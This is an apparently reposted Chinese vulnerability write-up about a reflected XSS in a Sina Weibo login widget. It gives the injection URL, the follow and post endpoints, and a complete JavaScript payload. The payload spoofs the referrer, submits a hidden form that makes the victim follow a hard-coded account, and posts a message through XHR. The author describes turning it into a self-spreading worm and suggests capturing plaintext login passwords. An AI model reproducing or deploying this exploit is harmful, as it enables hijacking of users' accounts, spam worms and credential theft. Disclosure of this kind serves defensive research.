您的位置:首页 > 其它

新浪微博一处反射型XSS(可截获用户登录名及明文密码、可蠕虫、可刷关注)

2016-02-29 10:50 495 查看
首先,反射XSS在这里:
http://service.weibo.com/widget/public/login.php?source=share&backurl=http://service.weibo.com/share/mobile.php?url=aaaaaaaa',a:(alert(1))//
加关注:

POST:http://widget.weibo.com/relationship/aj_attention.php

wsrc=app_follow_button&uid=XXX

发微博:

POST:http://service.weibo.com/share/aj_share.php

content=新年快了!恭喜发财!

然后我写了段代码测试了一下效果。

code 区域
(function(){

//set referrer

var meta = document.createElement('meta');

meta.name = 'referrer';

meta.content = 'origin';

document.head.appendChild(meta);

//document.head.appendChild(style);

var iframe = document.createElement('iframe');

iframe.name = 'myframe'

document.head.appendChild(iframe);

//fowllo me

var form = document.createElement('form'),

input1 = document.createElement('input'),

input2 = document.createElement('input');

input1.name = 'wsrc';

input1.value = 'app_follow_button';

input2.name = 'uid';

input2.value = '1719751704';

form.appendChild(input1);

form.appendChild(input2);

form.action = 'http://widget.weibo.com/relationship/aj_attention.php';

form.method = 'post';

form.target = 'myframe';

document.head.appendChild(form);

form.submit();

//create xhr

var xhr = false;

try {

xhr = new XMLHttpRequest()

} catch (d) {

try {

xhr = new ActiveXObject("Msxml2.XMLHTTP")

} catch (c) {

try {

xhr = new ActiveXObject("Microsoft.XMLHTTP")

} catch (b) {

xhr = false

}

}

}

//send message

var data = 'content=新年快了!恭喜发财!';

xhr.open('POST', 'http://service.weibo.com/share/aj_share.php?t=' + new Date().getTime(), false);

xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');

xhr.send(data);

})();


用户以登录状态访问上面那个XSS就中招了,本来想全部走AJAX的,但是加关注那里跨域了,行不通,就改成form了,再就是分享这里验证了refer,所以用JS控制当前页面的referrer为origin,然后把上面这一大段JS通过反射XSS远程加载进来就行了,content中再加上链接就可以蠕动起来了。

劫持用户名和密码我没试,但是理论上应该是可以的,因为本来就是微博正常的登录页面,插点JS截获表单数据很容易了。

漏洞证明:















内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: